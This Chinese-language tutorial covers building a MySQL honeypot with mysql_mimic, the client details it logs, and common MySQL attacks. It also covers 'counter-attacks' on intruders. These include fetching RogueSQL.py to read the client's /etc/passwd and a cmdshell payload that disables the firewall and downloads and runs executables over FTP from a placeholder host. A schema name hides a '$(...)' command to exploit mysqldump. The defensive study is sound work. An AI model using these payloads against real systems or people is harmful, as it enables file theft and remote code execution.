MySQL Honeypot 攻击反制方法总结
字数 1387 2025-08-22 12:22:48
MySQL Honeypot 攻击反制方法详解
1. MySQL Honeypot 概述
MySQL Honeypot 是一种安全防御工具,专门用于捕捉和分析针对 MySQL 服务器的攻击行为。开放了常见端口(如3306)的 MySQL 服务器很容易成为攻击目标,高交互 MySQL Honeypot 可以模拟真实 MySQL 服务器的行为,吸引攻击者进行更多操作,从而获取有价值的攻击信息。
1.1 高交互 Honeypot 的优势
- 模拟完整的服务响应,包括协议细节和认证过程
- 允许攻击者执行部分操作,获取更详细的攻击信息
- 通过逼真的仿真效果,吸引攻击者长时间操作
- 能够记录攻击者的连接属性和操作行为
2. 高交互 MySQL Honeypot 实现
2.1 使用 mysql_mimic 工具
mysql_mimic 是一个 Python 工具库,能够模拟 MySQL 协议,创建虚假的 MySQL 服务器。
基础实现代码
import logging
import asyncio
from mysql_mimic import MysqlServer, IdentityProvider, User
async def start_honeypot():
server = MysqlServer(identity_provider=IdentityProvider())
server.users.append(User("root", "", ""))
await server.listen(port=3306)
logging.info("MySQL Honeypot 已在 3306 端口启动")
if __name__ == "__main__":
asyncio.run(start_honeypot())
2.2 可获取的攻击者信息
Honeypot 可以记录以下攻击者信息:
_client_version: 客户端使用的 MySQL 库版本_os: 客户端的操作系统(如Linux、Win64等)_pid: 客户端进程的ID_platform: 客户端的平台(如x86_64)program_name: 客户端的程序名_thread: 客户端线程的ID(仅在Windows下包含)
示例攻击捕获信息
{
"_client_name": "MySql Connector/NET",
"_client_version": "6.9.6.0",
"_platform": "x86_64",
"program_name": "Taher SQL Checker.exe",
"_os": "Win64",
"_os_details": "Microsoft Windows Server 2012 R2 Standard Evaluation"
}
3. 常见 MySQL 攻击手段
3.1 插件劫持攻击
攻击特征:
- 使用极旧版本的 MySQL 客户端(如MySQL 5.6.14)
- 常见于2013-2014年间发布的MySQL版本
攻击过程:
- 连接MySQL服务器: 使用旧客户端版本连接
- 写入恶意共享库文件: 上传.so(Linux)或.dll(Windows)文件到plugin_dir目录
- 加载恶意插件:
INSTALL PLUGIN malicious_plugin SONAME 'malicious_lib.so'; - 执行远程代码: 通过恶意插件获取系统控制权
3.2 删库勒索攻击
攻击特征:
- 使用MariaDB等较新版本的客户端库(如libmariadb 3.3.9)
- 使用mysqldump程序下载数据库信息
攻击过程:
- 连接MySQL服务器并探测数据库
- 使用mysqldump导出数据
- 删除数据库:
DROP DATABASE1111; - 留下勒索信息: 创建包含比特币地址的README表
4. MySQL 攻击反制方法
4.1 客户端任读反制
反制过程:
- 伪造MySQL服务器
- 发送特定查询命令,强制客户端读取文件
- 使用RogueSQL.py工具读取攻击者系统文件
示例命令:
wget 'https://raw.githubusercontent.com/jib1337/Rogue-MySQL-Server/master/RogueSQL.py'
python2.7 RogueSQL.py -p 3306 -f /etc/passwd
4.2 插件劫持反制
反制过程:
- 捕捉SQL查询中的插件加载命令
- 注入恶意插件
- 通过FTP上传恶意文件到攻击者系统
- 执行远程代码
示例命令:
select cmdshell("cmd.exe cmd/c net stop sharedaccess &echo open x.x.x.x>>ge.dat &echo 123>>ge.dat &echo 123>>ge.dat &echo bin>>ge.dat &echo get mstsc.exe>>ge.dat &echo bye>>ge.dat &ftp -s:ge.dat &mstsc.exe&absl.exe&del ge.dat&del mstsc.exe&del mstsc.exe");
4.3 命令注入反制
反制过程:
- 伪造MySQL服务器
- 在数据库名或表名中嵌入恶意代码
- 利用mysqldump工具处理时的漏洞执行命令
示例构造:
schema_name = "p$(ps axuf|base64 –w64)"
table_name = "accounts"
SCHEMA = {
schema_name: {
table_name: {
"a": "TEXT",
}
}
}
TABLES = {
schema_name: {
table_name: [
{"a": "aaa"},
]
}
}